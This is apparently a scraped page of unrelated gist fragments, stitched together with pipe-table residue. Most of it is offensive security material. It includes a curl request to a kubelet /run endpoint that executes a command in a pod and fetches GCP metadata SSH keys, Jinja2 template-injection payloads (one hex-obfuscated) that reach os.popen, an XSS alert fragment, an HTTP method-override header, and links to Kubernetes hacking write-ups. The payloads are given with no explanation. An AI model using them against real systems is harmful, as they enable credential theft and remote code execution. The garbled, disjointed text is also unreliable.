Request
curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "busybox wget -q -O - --header='Metadata-Flavor: Google' http://metadata/computeMetadata/v1/project/attributes/ssh-keys?alt=json"
#!/bin/bash | |
export BLUE='\033[1;94m' | |
export GREEN='\033[1;92m' | |
export RED='\033[1;91m' | |
export RESETCOLOR='\033[1;00m' | |
# Make sure only root can run this script | |
if [ $(id -u) -ne 0 ]; then | |
echo -e "\n$GREEN[$RED!$GREEN] $RED This script must be run as root$RESETCOLOR\n" >&2 | |
exit 1 |
');alert(0); |
echo 'Installing go...' | |
wget https://dl.google.com/go/go1.11.5.linux-amd64.tar.gz | |
sudo tar -C /usr/local -xzf go1.11.5.linux-amd64.tar.gz | |
rm go1.11.5.linux-amd64.tar.gz | |
export GOROOT=/usr/local/go | |
export GOPATH=$HOME/go | |
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin | |
echo 'export GOROOT=/usr/local/go' >> ~/.bashrc | |
echo 'export GOPATH=$HOME/go' >> ~/.bashrc | |
echo 'export PATH=$PATH:$GOROOT/bin:$GOPATH/bin' >> ~/.bashrc |
https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c | |
https://www.cidrcalculator.com/asn/asn-to-prefix.html?lang=en | |
https://itnext.io/aks-kubernetes-security-walk-through-challenge-2-dbe3ed16beec | |
https://www.digitalinterruption.com/single-post/2018/06/04/Are-Your-Cookies-Telling-Your-Fortune | |
https://blog.innerht.ml/ |
Nicolas Grekas - nicolas.grekas, gmail.com
17 June 2011 - Last updated on 3 sept. 2011
Not updated any more on this gist. See:
>>> "{{ []['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['sys']['modules']['os']['popen']('ls')['read']() }}" | |
>>>"{{ []['__class__']['__base__']['__subclasses__']()[59]['__init__']['__globals__']['sys']['modules']['os']['popen']('ls')['read']() }}" |
X-HTTP-Method-Override: POST |
<html> | |
<meta content="text/html;charset=utf-8" http-equiv="Content-Type"> | |
<meta content="utf-8" http-equiv="encoding"> | |
<body onload="CreateListReaderIframe()"> | |
<script> | |
function CreateListReaderIframe() { | |
var ifr = document.createElement("iframe"); |
Invoke-Item c:\windows\system32\calc.exe |